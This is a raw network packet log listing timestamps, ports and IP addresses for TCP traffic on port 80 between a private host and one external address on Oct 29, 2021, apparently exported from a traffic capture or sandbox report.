Oct 29, 2021 20:29:42.108788013 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108788967 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108870029 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.108902931 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108930111 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108957052 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108983994 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.108987093 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109010935 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109040022 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109050989 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109066963 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109093904 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109095097 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109133005 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109144926 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109160900 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109186888 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109214067 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109215021 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109241009 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109266996 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109267950 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109296083 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109323025 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109323025 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109349966 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109376907 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109378099 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109404087 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109431028 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109432936 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109457970 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109478951 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109486103 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109513998 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109539032 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109539986 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109568119 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109595060 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109595060 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109622002 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109649897 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109673023 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109677076 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109707117 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109711885 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109735012 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109761000 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109762907 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109790087 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109817982 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109819889 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109843969 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109870911 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109872103 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109899044 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109925032 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109955072 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109956026 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.109981060 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.109983921 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110009909 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110038042 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110042095 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110064030 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110090971 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110116005 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110119104 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110146046 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110146999 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110176086 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110199928 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110202074 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110229015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110254049 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110255957 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110282898 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110306978 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110310078 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110336065 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110363960 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110367060 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110392094 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110418081 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110419035 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110445023 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110472918 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110496998 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110498905 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110527039 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110531092 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110553980 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110570908 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110588074 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110615015 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110641956 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110649109 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110670090 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110697985 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110698938 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110724926 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110754013 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110754967 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110781908 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110809088 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110836029 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110836029 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110865116 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110872030 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110893011 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110910892 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.110922098 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110949039 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.110975981 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111001968 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111002922 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111028910 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111036062 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111057043 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111083031 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111087084 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111110926 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111139059 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111162901 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111166000 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111193895 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111201048 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111222029 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111248016 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111259937 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111274958 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111296892 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111301899 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111330032 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111357927 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111357927 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111385107 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111407995 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111429930 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111452103 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.111495018 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.111534119 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.161231041 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161253929 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161266088 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161283970 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161302090 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161319017 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161334991 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161350965 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.161360979 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.161387920 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.161421061 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.163964033 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.163983107 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.163995981 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.164007902 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.164073944 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.164092064 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.164171934 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.164189100 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.164203882 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.164217949 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:42.164239883 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.164274931 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.164541960 CEST	49766	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:42.216898918 CEST	80	49766	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:43.630247116 CEST	49767	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.682359934 CEST	80	49767	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:43.683293104 CEST	49767	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.683329105 CEST	49767	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.683334112 CEST	49767	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.760889053 CEST	80	49767	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:43.761039972 CEST	49767	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.764916897 CEST	49767	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.800576925 CEST	49768	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.816040039 CEST	80	49767	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:43.853219986 CEST	80	49768	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:43.853993893 CEST	49768	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.854120016 CEST	49768	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.854136944 CEST	49768	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.934627056 CEST	80	49768	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:43.934791088 CEST	49768	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.934828043 CEST	49768	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.962337017 CEST	49769	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:43.986762047 CEST	80	49768	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.016004086 CEST	80	49769	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.016443014 CEST	49769	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.016474009 CEST	49769	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.016479015 CEST	49769	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.097450018 CEST	80	49769	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.099965096 CEST	49769	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.100008011 CEST	49769	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.133147955 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.154001951 CEST	80	49769	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.185475111 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.185602903 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.185791969 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.185859919 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.237974882 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264659882 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264703989 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264729977 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264753103 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264776945 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264781952 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.264802933 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264807940 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.264844894 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.264918089 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264945984 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264974117 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.264998913 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.265022039 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.265064001 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317117929 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317159891 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317184925 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317209959 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317256927 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317291975 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317317009 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317414999 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317441940 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317466021 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317491055 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317492008 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317518950 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317523003 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317581892 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317594051 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317620039 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317661047 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317670107 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317687988 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317713022 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317738056 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317759991 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317778111 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317800045 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317801952 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317827940 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.317850113 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.317852020 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.319694042 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369426012 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369472027 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369498014 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369522095 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369545937 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369570017 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369575024 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369615078 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369635105 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369695902 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369719982 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369749069 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369755030 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369766951 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369801044 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369824886 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369851112 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369859934 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369875908 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369900942 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369914055 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369929075 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369949102 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.369952917 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.369999886 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370026112 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370050907 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370054960 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370074987 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370114088 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370117903 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370140076 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370143890 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370170116 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370194912 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370218992 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370239019 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370243073 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370269060 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370276928 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370295048 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370299101 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370318890 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370342970 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370352030 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370366096 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370392084 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370390892 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.370417118 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370440960 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.370440960 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.371511936 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.373986959 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.374120951 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.374191046 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.374267101 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.374321938 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.374386072 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.421889067 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.421926022 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.421951056 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.421976089 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422034025 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422084093 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422144890 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422246933 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422272921 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422297001 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422305107 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422321081 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422346115 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422369003 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422370911 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422394037 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422401905 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422424078 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422450066 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422472954 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422475100 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422497034 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422508955 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422523975 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422549009 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422550917 CEST	49770	80	192.168.2.7	185.98.87.159
Oct 29, 2021 20:29:44.422571898 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422595978 CEST	80	49770	185.98.87.159	192.168.2.7
Oct 29, 2021 20:29:44.422620058 CEST	80	49770	185.98.87.159	192.168.2.7
